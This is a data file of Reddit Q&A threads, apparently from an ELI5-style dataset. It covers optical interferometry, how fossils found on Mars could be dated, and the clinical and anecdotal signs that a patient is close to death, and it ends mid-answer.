{"q_id": "1mdwvj", "title": "Can multiple optical telescopes be used in the same way as radio telescopes like the Very Large Array?", "selftext": "Someone mentioned in a different thread that no (presumably optical) telescope can resolve either Voyager spacecraft any more, which got me wondering how large a lens would have to be to do so, and whether multiple, widely separated optical telescopes can be used to increase the effective resolution of the array, which is my understanding of how radio telescope arrays like the VLA work.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1mdwvj/can_multiple_optical_telescopes_be_used_in_the/", "answers": {"a_id": ["cc8bqfn", "cc8ergf", "cc8gr56"], "score": [11, 3, 4], "text": ["Yes, it can be done.\n\nRead [this](_URL_0_) from 2002 about a 6 optical telescope array and a little of what was involved in getting it working.\n\nYou can also find a list of [optical and infrared interferometers](_URL_2_) on Wikipedia, with a guide to the wavelengths [here](_URL_1_).", "So for an optical interferometer to resolve voyager 1 at it's current position you would need it to be 1000 km across. A telescope would have to roughly double that size because interferometers do a bit better.\n\nA second issue will be just how dim it is. Because all it's visible light is reflected from the Sun an absolutely tiny amount makes it all the way back from what little was reflected from the much dimmer sunlight. By my rough calculations to see just one photon per second from it you would need a telescope 43 km across. You really aren't going to see it.\n\nSo even if you use an interferometer you still need enormous telescopes. One of the major issues with optical interferometers is their terrible brightness limit. State of the art facilities are only now moving to objects just too dim for the naked eye.\n\nBoth of these calculations assumed 125.5 AU and voyager as a 3m disk.", "The twin 10 meter [Keck telescopes](_URL_0_) in Hawaii can be operated as a single astronomical interferometer.  They are about 40 meters apart.\n\nUnlike with radio telescopes, optical technology is not yet able to do this over large distances.  The wavelength of light is much shorter than radio wavelengths."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.spaceref.com/news/viewpr.html?pid=7658", "http://en.wikipedia.org/wiki/Photometric_system", "http://en.wikipedia.org/wiki/List_of_astronomical_interferometers_at_visible_and_infrared_wavelengths"], [], ["http://en.wikipedia.org/wiki/W._M._Keck_Observatory"]]}
{"q_id": "y3b77", "title": "If NASA was to find fossil remains of plants, dinosaurs or insects on Mars how would they go about testing them to find out how long they had been there for?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/y3b77/if_nasa_was_to_find_fossil_remains_of_plants/", "answers": {"a_id": ["c5rygdo", "c5rz9au", "c5s0v05", "c5s1stv", "c5s1ukp", "c5s3gi9", "c5scjiz"], "score": [475, 17, 10, 31, 11, 11, 3], "text": ["Carbon dating is only useful for about 100k years and destroys some or all of what you are testing. It is unlikely that any scientist would be ok with destroying the only Martian fossils ever recovered.\n\nBecause Mars has experienced volcanism, the best options would be K-AR or Ar-Ar dating. These methods can be used to date any volcanic material produced since the beginning of the solar system ([half-life for Ar is 1.25 billion years](_URL_0_)).\n\nTo date anything using these methods, the closest volcanic strata both above and below the fossil are tested. This gives a range for the age of the fossil in question.\n\nA manned recovery mission would likely be required to observe the strata, collect appropriate samples, and return the fossils to earth. However, it is possible that a rover with the required equipment could be sent instead.", "If geologists get lucky in where the fossil is found then it could be data by dating other rocks.  \n\nAs sedimentary rocks are basically made up of other rocks and dead things [where you'll find the fossil] you can not date them easily and accurately; however if the fossils were found in a layer which had both above and below a volcanic unit [say a tuff, aka volcanic ash deposit] then crystals in the structure could be dated radiometrically.  \n\nThis would then allow you to say that the deposit was layed down between X time and Y time.\n\nThis could be possible as Mars is known to have had at some stage volcanism, as shown by the fact the planet is the location of the largest volcano in our solar system.\n\nSource - Doyle, Bennett and Baxter - The Key to Earth History, an introduction to stratigraphy, second edition", "How would the rover go about detecting these samples under the Martian surface?", "This brings up a question about the rover. Why did it not come equipped with ground penetrating radar? ", "The rover isn't equipped to look for fossils. It's equipped to look for molecular traces of life. If we did find a fossil (the odds of which are extremely low) they wouldn't have any apparatus to date it with Curiosity, they'd probably launch some type of recovery mission as soon as possible though.\n\nMost radioactive dating requires you to more or less destroy your sample AND to have an idea as to how much of a given radioisotope is present in its closest living descendants (as a physicist, not to certain about the second claim but it was in a DifQ book I used a few years ago). Ergo, we probably won't be dating anything from Mars even if we do find it. ", "I think everyone is making this too difficult. We already estimate ages of craters using cross cutting relationships and erosion rates. There is a good chance that some constraints would easily be put on a fossil find, perhaps to nearest BY or better. For example, Gale crater is estimate to be 3.6 GA old therefore, strata within it must be younger than that.\n\n_URL_0_", "Paleontologist with stratigraphy background here - \n\nOne major problem with trying to develop any sort of stratigraphic column for Mars is that the uncertain (and probably slow) tectonic activity of the red planet suggests that there probably will not be very thick packages of sedimentary rock deposited, anywhere. What I mean to say is that there are probably not many \"classical\" basin types (like foreland basins) with thick packages of strata. There will certainly be small, localized basins (e.g. margins of valles marineris with alluvial fan deposits).\n\nIf anything, trying to do stratigraphy on Mars will be like trying to do it in the middle of Australia (no offense to aussies): low relief, very few (and small) outcroppings, low tectonic activity, and negligible erosion. Obviously there is well-constrained stratigraphy for Australia, but this was done by the hands of a lot of geologists over a couple hundred years.\n\nMy point is not that it's impossible, but it will be very difficult simply because A) most outcrops are going to be small and B) probably not very thick. Previously described strat. sections on Mars were under 10m thick - that's not really a lot of history preserved. It will be C) very difficult (probably folly) to correlate between small outcrops (it's hard enough attempting it with small outcrops on Earth) and D) very unlikely that any given rock exposure is really going to preserve two volcanic units with such a low average amount of relief and strata thickness. Just some thoughts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Argon-argon_dating"], [], [], [], [], ["http://www.lpi.usra.edu/meetings/earlymars2012/pdf/7045.pdf"], []]}
{"q_id": "97w6bn", "title": "how do medical professionals seem to accurately predict when someone \u201cis getting close \u201c to dying when the cause of death is vague such as old age or a long suffered disease?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/97w6bn/eli5_how_do_medical_professionals_seem_to/", "answers": {"a_id": ["e4bdujx", "e4bdzdg", "e4beci5", "e4beeek", "e4bei8u", "e4bej4b", "e4bizhd", "e4bj8xv", "e4bkknc", "e4bl1d9", "e4bl3yw", "e4blbnm", "e4bm76s", "e4bmuk0", "e4bmxm2", "e4bmy28", "e4bn48i", "e4bnfjl", "e4bnnbj", "e4bnx70", "e4bo3cm", "e4bo44y", "e4bo7g4", "e4boa2a", "e4bogf2", "e4boll2", "e4bop9e", "e4borvx", "e4bowsr", "e4bozqp", "e4bp7qk", "e4bpbha", "e4bpkbu", "e4bpprk", "e4bpps2", "e4bpqox", "e4bq19j", "e4bq5pk", "e4bqgqt", "e4bqllz", "e4bqnc2", "e4br3ik", "e4brt2c", "e4brytf", "e4bs5km", "e4bsjbu", "e4bt7o6", "e4btfvk", "e4btkiw", "e4btoyh", "e4btyn6", "e4buavc", "e4bufbt", "e4bufos", "e4buggz", "e4bv8vf", "e4bvcpv", "e4bvfm9", "e4bwdrc", "e4bx3hy", "e4byumc", "e4bzdrk", "e4c084l", "e4c1i5v", "e4c24qy", "e4c2ljz", "e4c31r7", "e4c354z", "e4c5nir", "e4c7iwg", "e4c8im0", "e4c8vf0", "e4c93qt", "e4cb7kq", "e4cbo4m", "e4cbxhh", "e4cdrrv", "e4ceynm", "e4cfqb7", "e4cgvde", "e4chf61", "e4cmjy7", "e4co46y", "e4co99k", "e4cqpw9", "e4crfiv", "e4csbeu", "e4cseq4", "e4ctthc", "e4cv2pn", "e4cytf0", "e4d0w18", "e4d1b4p", "e4d1egx", "e4d1yho", "e4d2vbc", "e4d3ndj", "e4d42vh", "e4dbfu7", "e4dhh0m"], "score": [16, 214, 2, 6, 141, 33, 2116, 833, 20, 3, 509, 14, 307, 9, 3, 13124, 25, 351, 2, 2, 57, 6, 3, 18, 6, 4, 50, 89, 6, 5, 6, 16, 11, 2, 2, 4, 6, 2, 47, 2, 7, 2, 9, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 3, 2, 3, 3, 3, 2, 2, 60, 3, 2, 5, 2, 4, 2, 2, 4, 11, 2, 2, 2, 5, 3, 2, 5, 3, 3, 2, 4, 3, 2, 3, 3, 3, 2, 3, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2], "text": ["there is no such thing as actualy dying of \"old age\"\n\nits just what people say, the of old age is becouse some or few of the organs failed and resulted in persons death, they can preddict getting close becouse monitoring persons health and organs they can see that the organ is failing so its pretty easy to predict when the person is \"geting close\" becouse once the organ fails its death.", "The deaths that come from old age or terminal diseases are most often caused by the failure of some important organ - say the kidneys, or the liver.  When these organs shut down, death isn't instant, but since they can't do their jobs, death will soon follow if a transplant can't be done.  So when a doctor has an old patient whose kidneys are shutting down, for example, they can say \"they're getting close,\" because death will follow soon after a major organ failure like that, and with a very old patient, transplants or treatments aren't viable.  ", "The process of death/dying can be similar in a variety of different disease processes and identifying when organ systems start to deteriorate can be a sign that someone is in the process of dying. ", "By monitoring things like heart beat rate, breathing, etc. which indicate intact function of the body. When irregularities show those give doctors a clue of how long a person has to live should those irregularities continue.", "When you work with the dying, you start to notice similarities in colors of various body parts, smells coming off the client and you see a decided decrease in bodily functions as you see the shutting down mentioned in the other answers. You also almost always see a noticeable cognitive decline the days and sometimes weeks before and they tend to know themselves too and often will tell you as much.\n\nEdit: blood tests will give docs an idea of when organ failure is starting too based on the function numbers.", "I have seen many people die in the hospital and pronounced death in just as many. Aside from having a characteristic dusky, gaunt appearance, patients near death often declare themselves by having several organ systems fail simultaneously.  I had an old attending back when I was an intern who told me that in multi-system organ failure, his theory was that a patient's chance for dying that admission was 10% times every system failed, though truthfully, it's probably closer to 15-20%. ", "In hospitals at least, patients seem to know. They often say \"I'm going to die\" or they will ask to contact a relative. You do not take these requests lightly; dying people know when they're getting close.\n\nAlso, experience. People can look really really ill for weeks or months, but one day you'll look at someone and they'll look different from an hour ago. More grey in colour, or a different facial expression, or... you just *know*. \n\nAll this of course aside from clinical findings, respiratory rate, BP, blood tests if you're still doing that stuff by this point, etc etc.", "Nurse here. \n\nWhen we say that someone is going to die soon, what we're really saying is that there is nothing left that we can do to save them. Particularly in cases of old age or a long illness, the person has been kept alive, at least in part, by medical intervention. Medications, surgeries, medical devices or therapies. When these interventions are removed, the body is unable to support itself, so the person dies. We can predict a timeframe from experience. For instance, we know that, if someone is dependant on dialysis, and we stop dialysis, they will die within a couple of days, because we've seen it happen a thousand times before. We, as a profession, know from experience what a body can survive and what it can't survive. \n\nRegardless of cause of death, there are certain indicators that tell us that death is imminent. Someone who is actively dying will usually start refusing food and drink. They will be in and out of consciousness. Their breathing changes. Their vitals (blood pressure, heart rate, oxygen levels) start to change. Their hands and feet start to feel cooler. They stop producing urine. \n\nDespite this, we don't always get it right. ", "I\u2019m shocked by the number of overly medicalised responses this post is receiving concerning organ failure etc.\n\nHaving spent time working in palliative care I can say from experience that when medical professionals are predicting how long people have left to live it is based upon the patient\u2019s rate of change.\n\nSo if someone has been feeling more unwell and requiring more and more support over a period weeks then you might suggest they have weeks left.\n\nIf someone deteriorates over a matter of hours or days then you would be more likely to suggest they have hours or days remaining.\n\nSource: Medical Student", "We are not very accurate actually. Or maybe we are compared to NON medical people but we feel helpless too about death sometimes.", "Experience from taking care of my 98 year old great grandmother: \n\nShe died slowly and totally of old age. She was on hospice for over a year (very tough lady). The biggest signs were her oxygen levels going down, lack of appetite and refusal to urinate. That\u2019s what happens when you die strictly of old age, though. She had zero medical issues throughout her life and more or less just \u201cshut down\u201d. ", "For general stuff, you have to realize that most of medicine is very evidence based. Doctors cant just go around saying nonsense; if they are giving you medical advice, it has to be supported by something. So you see a person had an organ transplant, you already know the typical life expectancy of that person by studies done in the past. Eventually that person comes in with a series of complaints. These complaints more or less correspond to symptoms a person with this level of organ failure has. More information comes along, and a doctor can be more specific. Eventually, you see stuff so much, become so familiar with the science behind the medicine, and you know the signs that you can make an educated guess as to how long a person has.", "I'm a GP dealing with a primarily elderly population, and a good rule of thumb is this:\n\nIf they're clearly getting worse over the course of months, they likely have months. If there's a clear decline over the course of weeks, they likely have weeks. If it's days, they have days. \n\nOccasionally, I'll get surprised, and a person who seems to have been stable dies in their sleep. Interestingly, though, the people in these cases frequently seemed to have known that their time was coming in the weeks beforehand, and often may have asked to speak with a priest, or get their affairs in order otherwise. \n\nIt mainly boils down to experience, trajectory, and listening to your patients. ", "Because people don't die of \"old age\" they die of some type of problem that is common to or due to old age, but there is an underlying issue (heart failure, kidney failure, COPD, cancer, etc)\n\nthey can base their predictions on the underlying condition that is causing them to be sick, how quickly it is worsening, etc ", "My experience is growing up with an ASSLOAD of military in my family. Death is kinda just a thing that happens, but my family is really good at knowing, some of the family it\u2019s instinctual. Some of them will have an odd feeling, where me and my family we can look at someone, or even animals, and know. I\u2019m a little keener on it than my folks, and will know about a week or two out. The main tell is similar to someone who is obviously suicidal. Dead eyes, little to no motivation, but will actively try to be cheery, but badly. Some will have accepted it, and become more open monded about many things, even seem oddly calm and rational. The most unnerving was my uncle, who on his deathbed suddenly became far more capable intellectually overnight. He could process and calculate information far faster than usual.", "EDIT:  i am amazed and humbled by the kind words and beautiful stories shared here.  they are treasures.  please write them down so your sons and daughters can read them.  I threw this list together really fast and posted it.  imagine my surprise when i saw my in box and almost fell over.  so i made some changes, mainly in explaining more thoroughly and in more detail to \"explain like i am five\".  i also added a few, that i had forgotten.\n\nthe list was very errr, cold and clinical and i did not convey my love for this work.  some of your responses reminded me i need to address this.  we live in a \"youth worship\" western country, often where the wise elders are forgotten, death and dying are hidden, not discussed, taboo, whereas at one time in our past, death was as normal as birth, with the working close to the land and animals, we knew and were familiar with the natural swing of life and death.  we run from death, we do everything we can to make ourselves younger, and to avoid that inevitable experience we will all have.  working for hospice allows me to become a part of an elder's life, to bring my support to them when it may be needed most.  i consider it a calling to bring more awareness of the normal reality of death.  and more awareness of the incredible sweetness of being able to support a loved one through their passage.  i cannot convey to you the blessing of being able to walk with a patient from the beginning of their journey, to the end of their life.  it is the most vulnerable, most tender of mercies to be able to have the privilege to witness that passage.  if you have the opportunity to be present for an elder during this journey, please try to.  It may change you forever in a good way.  It is the most spiritual of moments I have had in my lifetime.  You may want to even volunteer for hospice to be able to serve our wise elderly and walk with them through this time, to acompany them at a time they may be abandoned (it happens).   You will be rewarded greatly.\n______________________________________\n\n\nHospice worker 26 years.\n\n1. Withdrawing from interaction.\n2. No interest in food or water (beware, pt can aspirate at this point if forced to eat or drink).\n3. 02 (oxygen blood saturation level often called \"sats\" or \"sat level\") levels dropping (70 and below),  Normal is 90s.  I find using the oximeter is very helpful.\n4. Color changes.. skin can go very pasty and grey\n5.  Mottling of knees, elbows.  Mottling is a kind of blue/ white effect on the skin that may look a bit like bruising.\n6.  Blueness of fingernail beds, slight facial blueness around nose, mouth.  Blank staring at ceiling or corner and or talking to a family member long deceased.\n8.  Muscle wasting at temples and eyes sinking into boney orbits\n9.  Apneic and or shallow respiration.  Near the end a patient will often start to breathe irregularly.  This is called apnea and or cheyne stokes respiration.  what you will see is the patient breathes, then pauses.  then breathes again.  this can go on for a while or it can be near the end.  as the patient gets closer to passing, the pauses will start to be longer than the breathing.  i.e. starting... 10 seconds of pause, 50 seconds of respiration.  then 20 second pause, 40 seconds of respirations (i use the second hand of my watch to count).  As the time passes, the pauses become longer and longer.  This is the place of truly near death.. as the pauses become longer and longer, the pauses will gently last until the patient gently passes.  it can be an almost seamless and very peaceful thing to watch.  they drift into death, and you wait for the next breath, and it just doesn't come.  these are the deaths one hopes for, the good deaths with family around the bed, as the patient literally just slips away.\n10.  Sweaty, hot skin and or clammy cold skin.\n11.  Small dove like sounds on exhalation.\n12.  Inability to interact verbally.\nRemember the sense of hearing lingers .. your loved one will hear you to the very very end despite showing no outward signs or inability to move or respond verbally.\n13.  Cooling of extremities (hands and feet).\n14.  Phlegmy sounds.  This is what is commonly called the \"death rattle\".  Pt cannot swallow their oral secretions at end of life and these may build up in the throat.  The sound you hear is the sound of the inhalation and exhalation air going over around and through those secretions in the throat.  Lay the patient on their side and the secretions can come out.  There is also a medication that can be used to help with this (drops) (can't remember name of it sorry) but the medication can take a while to take effect.  I have been told that though this is difficultf for us to hear, it is not painful for the patient.  This can be hard.  Sometimes the nurse can drain the mucousy secretions with a machine, but it is said that the more the machine is used, the more secretions are manufactured.\n15.  There is a type of respiration that is often seen near the end, and it is best described as breathing \"like a fish out of water\".  Patient will often use auxillary muscles (like their shoulders and upper torso) to try to breathe.  \n \n16. Pain.  \nA)     Physical pain.   What I have found is that it is very very difficult to die if you are in intractable pain.  the muscles are tense and hard, the body is wracked, the pain becomes all encompassing.  the goal is to make the patient comfortable and to ease pain.  this could mean trying differrent medications to assist with pain reduction.  I cannot tell you the many times that finally, once the patient is relieved of physical pain, they can RELAX and let go. \n\nB)    MYTH.. we do NOT kill our patients with medications.  this is ILLEGAL.  What we try to do is find the balance of pain relievers that will allow the patient to be pain free, and also allow them to still carry on with their normal activities and at the end, be able to speak or communicate if they are able.  example:  some patients are in so much pain when they come to us, they are unable to do anything.  with the right meds, one lady was able to take her crafts to her regular craft fair out of state with her hubby in their RV, for the last time, to say goodbye to all her craft fair colleagues she had known and worked with for 30 years.  another man was able to go spend a last visit at the cabin he built up in the mountains.   Another patient was able to go to disneyland with her family, one last time.  Medications are a wondrous thing.  We learn what the patient would like to do and we try to find the medications that will allow them to do that.  We will often pay for a final wish like this.\n\nC)     Emotional Pain.  Sometimes called spiritual pain.  releasing emotional pain can come with counseling with spiritual counselors and social workers (both available through hospice).   At end of life there may be issues that are unresolved with family members that have caused patient deep regret and grief.  EMOTIONAL PAIN CAN TURN INTO PHSYSICAL PAIN THAT NO PHARMACOLOGICAL MEDICATION CAN TOUCH.  Although sometimes resolution may be impossible, our counselors do their best to help patient resolve conflicts and issues that are a burden to patient and a burden to the family members.  NOTE:  these resolutions could mean the diffference between a peaceful death and a difficult death.  \n\nThere is something we can see, a definite change of pallor, expression, something hard to explain, that can tell an experienced eye that it is soon.\n\nIt is very hard to tell you exactly when it will happen but the above are some     things to watch for.\n______________________________________\n\nMany of your comments were around hearing at end of life.  Here's just one article.\n_URL_0_", "Muscle wasting, trouble swallowing, extremely poor blood flow to extremities, no urination, refusing food and water, cheyne stokes breathing, respiratory secretions, increased need for supplemental oxygen, low blood oxygen that does not respond to supplemental oxygen, weak pulse, prolonged unconsciousness and altered consciousness and delirium when awake.\n\nYou would be looking for these and other things generally as a cluster, with the idea that some should be new and rapidly progressive, poor blood flow to the extremities otherwise well explained by a prexisting condition would not mean the same things contextually as its sudden appearance and rapid progression.\n\nEach primary illness would also have distinct specific characteristics you'd be looking for or different contexts for the significance of the presentation of common characteristics. The onset of muscle wasting in cancer patients for example, is a hallmark of a specific, rapidly progressive dying process that would not have the same significance for any given terminally ill person (though in no patient would it be good, of course).  The onset of terminal symptoms away from the primarily diseased system also serves as a clear indicator, which is to say, you're not looking for the lung cancer patient who can't breathe, or the kidney disease patient who can't pee, you're looking for the lung cancer patient who can't pee and the kidney disease patient who can't breathe. Those kinds of distal failures are usually sudden and represent a turning point.", "ER nurse: \nI usually see people die more quickly but we do have a lot of older folks whose family brings them in close to death ( keep your parents at home and let them die in comfort people I promise you dont want to see CPR on your 87 yr old grandma) \nWhen are people going to die:\n1: When they tell you. Never take this lightly they know! Get ahold of family quickly. \n2: If they have been sick and suddenly they feel better. They are going to die soon. \n3: Its hard to explain but their breathing changes. It become more shallow. Their 02 stats slowly drop. Aka death rattle \n4: Their color changes. Becomes more grey. \n5: Cold extremeties\n6: If they ask you to hold their hand bc they are scared. Hold it no matter how many other patients you have. Hold it. No one should die alone. \n7: If some one comes in with chest pain and they tell you they have to poop really bad. DONT LET THEM they are gonna die. \nClearly these are not scientific just little things i have learned over the years ", "Not a professional but I've always had a morbid curiosity and work in a nursing home. Some will have a sudden change in behaviour especially if they were already delusional yet others just seem done with life and have starting letting go. I'm a logical person but it's just one of those things that is very hard to explain quickly or without some sort of experience. Obviously when it's dragged out longer you see all the really noticeable signs like waxy skin and the death rattle.\nEdit: completely forgot to mention the absolute lack of appetite or thirst. ", "It's all about their vitals signs, specifically breathing rate. When someone breathing becomes slow and laboured they won't last long. Doctors give strong opioids which peacefully lower someone's breathing rate, and kind of prepares them for dying.", "I see a lot of posts saying its \"experience\" and because we (medical professionals) see death every day. They're not wrong, but they're not entirely right either. \n\nYes, some very experienced palliative nurses get to know the signs and symptoms of death so well that they can pretty accurately predict when someone will pass. However we also use medical tools to help us gauge the stage of death.\n\nDeath takes a pretty familiar path in most cases. (Disclosure: i said most, not all, there are always exceptions). We look for specific signs of body failure to help give us an idea. The palliative performance scale is one tool that gives us a pretty decent idea of the expected level of functioning for patients. \n\nAdditionally we watch for changes in the body such as anorexia (lack of appetite, not the same as the eating disorder) whether voluntary or natural, cessation of fluid intake, decrease in urine and stool production, abdominal swelling known as ascites, mottling (pooling of blood in the body due to poor perfusion), rate and rhythm of breathing, and a decrease in stability of vital signs (pulse, BP, O2%, Temp).\n\nAs these telltale signs occur we know that death is approaching. And depending on the rate at which they occur (days vs weeks) we can begin to make assumptions about timeframe of death. ", "Agonal breathing (death rattle), extreme lethargy, hallucinations from the organs shitting down/lack of oxygen, refusal to eat or drink. ", "I've heard the smell of death is a very real thing, to add to that. The imminently dying give off a very distinct smell that I guess humans have evolved to know.\n\nI think the smell is propanone or something like that that's produce when something breaks down. It's the same stuff in nail varnish remover, so it doesn't smell natural at all.   ", "My mother died from kidney failure, and early in  the morning the day she passed,the nurse called us and told us that this was gonna be the day. She told us to get to the hospital but not to drive erratically that we probably had a few hours. She was right. I asked her how she knew and she said because of breathing patterns and also because mom's feet and legs had begun mottling. She said mottling is a tall tell sign that death will be occurring. \n\nPeople put so much trust in doctors, rightfully so, but it is the nurses who do the dirty work. Be grateful for your nurses. ", "My father died two years ago in in-home hospice. The nurse told me that when their earlobes fold then it\u2019s very soon. He died probably two days later. I thought that was weird. But I saw a video of an elderly lady who was obviously close to death. Her earlobes were folded too. ", "As a hospice social worker, I can tell you it\u2019s not easy sometimes. Grey pallor, breathing difficulty, loss of appetite..and others. Those are tell tale signs the end is near", "Honestly, it's just experience.  I have to agree with my colleagues here.\n\nI'm a pediatrician, so for me, it's a bit different, but I have seen enough children die that you can tell when it's going to end badly.  Fortunately, it's *much* less common to have patients die in my specialty (I've signed three death certificates in the last nine years), but it's like a sucker punch to the gut every time it happens.\n\nThere are a few, however, for whom it is a mercy.  Even kids.  ", "My father is a doctor, he works in a little \"ambulatory\" (sorry not from the USA, Spain, so don\u00b4t know the name of an equivalent there) it\u00b4s a place, state run, where people go if they are sick (or the doctor goes to their houses) but if it\u00b4s something really serious they get sent to a hospital. Well my father is an atheist so he is not into supernatural feelings an all that, but he always said that people know when they are going to die. That if someone says i\u00b4m going to die, and it\u00b4s not an hysterical idiot, you have to take it seriously because  they can feel it. \n\nPrecisely today, a few hours ago, his mother (my grandmother) passed away after a horrible illness, extense cancer plus a very rapidly advancing and severe dementia, to the point where we all saw dead as the best that could happen to her. She died at home along her family, but do you know what she said a while before she died? Mind you it was difficult to understand because she was very sick, and this might be our minds playing tricks. She said I\u00b4m dying.\n\nHe  has also talked about how people in very bad health sometimes experiment an improvement just before death, as if the body gives everything it can before dying. To me it sounds crazy, but if there\u00b4s one person i believe in the world that\u00b4s my father. \n\nRIP grandma. If there\u00b4s a heaven you deserve a VIP pass.", "Doctor - having worked briefly in palliative care: It\u2019s depends on the circumstance. \n\nIf they come in and everything I do doesn\u2019t stop things like their blood pressure dropping lower and lower, their heart rate going up, respiratory rate increasing, dropping oxygen saturation\u2019s or things to that regard then I know it\u2019s only a matter of time.  \n\n If they have a terminal disease you can generally measure it in years, months, weeks to months, days to weeks, days, or sooner than that. It all depends on how fast their decline has been. \n\nIn regards to years that\u2019s more the statistical evidence on how long people usually live with the disease. The same can go for months or longer diagnoses. \n\n When it comes to less than that what you generally look for is symptoms that the body is weakening. Usually signs like off days becoming more frequent than good days, sleeping more throughout the day, getting out of bed less, eating and drinking less etc.\n\n This progresses on and worsens until other symptoms that are more indicative that things are quickening start. \n\n The main ones are the patient becoming more breathless, or having raspy breathing (where the lungs don\u2019t clear mucus as well as usual - sounds awful to listen to but the patients are usually alright with it, and there are medicines we can give to help it). \n\nTerminal agitation, where the patient can go through disturbed episodes, trying to get out of beds, panicking, or hallucinating. \n\nRestlessness, which is more an issue of comfort and can be easily treated most of the time. \n\nThere is also cessation  of eating too, which can go on for weeks and doesn\u2019t seem to bother the patient. \n\n If these appear to progress, or start culminating together then you can generally work out how long you have. Hasn\u2019t stopped patients I\u2019ve had flipping in, and out of those later symptoms. But usually it\u2019s a matter of weeks at the most. \n\n You can also look at blood tests like albumin, which indicates ,crudely, how well the body synthesises proteins and the likes. If it\u2019s looking lower than the 20s then it would confirm there likely only weeks left. Though this is not always the case depending on the medical conditions the patient has, and can be used to back up opinion of prognosis, but can not solely be used. ", "They don\u2019t always. The hospice nurse has told me 8 times in the last year and a half that my grandmother had only days to live.  I know he was just trying to make sure my long-distance family had a chance to say goodbye, but it seems like nobody can tell when she will bounce back. Maybe she is an outlier though.", "The number one telltale sign death is close, is mottling of the hands and/or feet as the body pulls the blood toward the vital organs. Patients will often not wish to eat or drink as the body shuts down and forcing it in them, will only make them more uncomfortable and performing mouth care for comfort is recommended instead. With hospice, we always recommend no IV fluids for that reason. Urine output also decreases as the kidneys start shutting down. There\u2019s is a fever sometimes toward the end. Some will start talking to family members no longer living. \nSource: I was a hospice nurse. ", "Usually their is a list of physical and behavioural symptoms that take place and you also know from experience. I'm a nurse and I've seen plenty of death especially in the elderly population. There are other symptoms that usually indicates end of life is approaching anywhere between a couple of weeks to a week that determines if a person is suitable for palliative care but I'm focusing on imminent death.\nEnd of life (these symptoms are usually experienced anywhere between 2 days- 1 week)\n-Change of breathing pattern (Cheyenne stokes).\n-Loss of awareness and or interest in surroundings, some people can experience delirium.(The person sometimes has brief moments of clarity).\n-Decreased apetite. Usually only tolerates small sips of fluids or sweets.\n-Poor urination or fecal output.\n\nSigns that death is immenient anywhere between minutes and a couple of hours\n- People experience what is referred to as the 'death rattle' this happens when a person is no longer able to clear their throat so the lungs secretions build up. (There is medication for this)\n-No response to pain or touch.\n-Fixed stare (if the eyes are open)\n-Jaw becomes loose (I usually moisture the person's lips or run a wet swab in the person's mouth so that it doesn't look quite so upsetting for the family)\n-In rare cases the person can vomit up the built up lung secretions (I've only seen once however).\n", "I work in an ICU as an RN and I have seen patients hold on until there loved ones all got to come by and say their goodbyes and as soon as they leave they decline rapidly and pass. I've also seen people who have been really I'll and it looked like they were not going to make have one really good day even to the point of saying \"I feel really good today\" die the next day. I beleive it's called \"the surge\" and it's kind of like their last hoorah. I've seen several people pass away the last four years of being a nurse and every case is a little different, but you kind of just learn to pick up on the cues that someone is about to pass. Like for example your DNR patients heart rate got cut in half from 100 to 50 and its staying there you know something is about to go down. It's the little things that you pick up on as you gain more experience that gives you that gut feeling.", "First they stop eating and drinking much. Within 24 hours of dying, they develop a death rattle. It\u2019s really just the inability to clear secretions from their throat, it\u2019s a terrible gurgling sound. They also stop making urine because of not drinking.", "Terminally ill patients, especially those in hospice or EOL care have stages they go through in the death process. If someone is actively dying things like breathing, heart rate, responsiveness, etc. will all change. \n\nThere's been enough study of dying people through the years that these stages are pretty solid in predicting death.\n\nNow, when you're talking about other diseases, like cancer, it is sometimes genuinely an educated guess. Some people way outlive their prognosis, while others die short of it.", "My mom was in a nursing home. One of her nurses was a personal friend. She told me that my mom probably wouldn\u2019t make it through the night and i should call my siblings to pay her a last visit. The nursing home called me at 6am the next morning and told me she had passed. ", "For my MIL, it was as much a spiritual issue as it was managing a chronic disease.  She was a Catholic, but because of certain aspects of dogma learned in childhood, she was terrified of dying.  As she  grew more feeble and her world became really small, she did lose her fear and find comfort in her faith.  Then said she was done, turned her face to the wall, wouldn't eat or drink and passed peacefully in a deep sleep 2 days later. 91 yrs old", "In some diseases like cancer, we have compiled statistics that can give health care providers an idea of a patient's 1 year, 5 year, or 10 year survival rate. These statistics vary from the type of disease a patient has.\n\nAn example is stage 4 breast cancer, where generally a 5-year survival rate is around 20%, meaning there is a 20% chance that the patient will be alive in 5 years from the initial diagnosis of a stage 4 breast cancer.", "Recently, I had a lot of time to spend with a very close friend who had a very quickly spreading breast cancer.  When she got to hospice (only 2 months after finding the initial lump!), she totally had all her wits about her and was in no pain.  She felt so well, that those of us around her wondered if the prognosis was wrong and she herself was worried that she wouldn\u2019t die fast enough and be kicked out the hospice.   She and I had an interview with the doctor and I tried to ask all the questions on her mind, about how fast the end would come, how she would know etc.   He was totally vague and wouldn\u2019t be pinned down even though she actually wanted an estimated timetable and was totally unafraid of the answer.  He left and later one of hospice nurses told me that there are certain signs like lack of appetite, poor circulation in the feet etc. that they know to look for.    She was accurately able to predict to the day two weeks later when Grace would die and was frustrated that the doctor wouldn\u2019t give us a straight answer.    (Btw,  Grace was an amazing human being for whom we had a 50th birthday in hospice and later she sent out heartfelt notices of how grateful and lucky she felt to have made so many friends during her time here.  She believed in some form of a funky afterlife and was a great reader, so may well be on Reddit somewhere now and may have more to add ;-)\n", "Physician here.\n\nI'm seeing a lot of \"you just get a sense with experience\" comments here and while that is somewhat true, I would say data is a better indicator to estimate when a patient \"is getting close to dying.\"\n\nSomething as basic as vitals such as a steady drop in blood pressure coupled many times with an increase in heart rate and sometimes respiratory rate as the body is trying to compensate.\n\nBreathing rate can also become irregular.\n\nPulse ox steadily declining despite interventions.\n\nEKG:  You will see pauses, a transition from sinus to arrhythmia, etc.\n\nBlood gas, other labs\n\nSo while a \"feeling\" or \"experience\" can be a gauge, I find you can better gauge finality with the above facts/cold hard data.\n\nHope this helps.", "I worked in a memory care unit and when I first started my coworkers would be able to predict someone\u2019s passing within a month sometimes more. It was crazy to me until I worked there for a year and was able to do the same. You can tell people\u2019s decline pretty easily if you\u2019ve seen it from beginning to end enough times. Short PSA if a 